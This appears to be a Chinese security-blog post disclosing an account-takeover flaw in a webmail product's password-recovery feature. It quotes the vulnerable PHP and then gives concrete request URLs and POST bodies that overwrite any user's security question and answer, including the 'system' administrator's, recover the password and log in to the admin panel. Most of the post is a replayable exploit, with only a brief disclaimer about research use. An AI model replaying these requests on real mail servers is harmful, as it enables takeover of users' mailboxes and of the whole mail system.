漏洞文件
/fast/option/module/o_password.php
if ( ACTION == "question" ) { $url = "/webmail/fast/option/index.php?module=view&action=password"; $where = "UserID='".$user_id."'"; $data = array( "question" => gss( $_POST['question'] ), "answer" => gss( $_POST['answer'] ) ); $result = $Mailbox->update_info( $data, $where, 0 );//直接将获得的用户数据进行了update $msg = $result ? "" : "修改密码提示问题时出现错误,修改失败!"; redirect( $url, $msg ); } ?>
找回密码过程是,首先提交要获得密码的用户名,获得一个phpsessid,如图
http://mail.fuck.com/webmail/fast/index.php?module=operate&action=login post数据为[email protected]&link=?
然后访问该方法,更新用户的密码提示问题和答案
http://mail.fuck.com/webmail/fast/option/index.php?module=operate&action=question
post数据为
question=hello&answer=tom改为自己设置的密码问题即可
然后执行找回密码方法,请求为
http://mail.fuck.com/webmail/getpass.php
post数据为
email=test0001%40fuck.com&question=hello&answer=tom&update=%E7%A1%AE%E8%AE%A4
这是找回任意普通用户的密码,由于管理员system也在该表里,所以我们可以将第一个请求换成[email protected]&link=?,然后更新其密保问题,然后找回密码即可,如图
数据库为
其中,得到管理员密码后,http://mail.fuck.com/webmail/admin/ 在此处登录,登录即可操作整个邮箱系统,如图
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论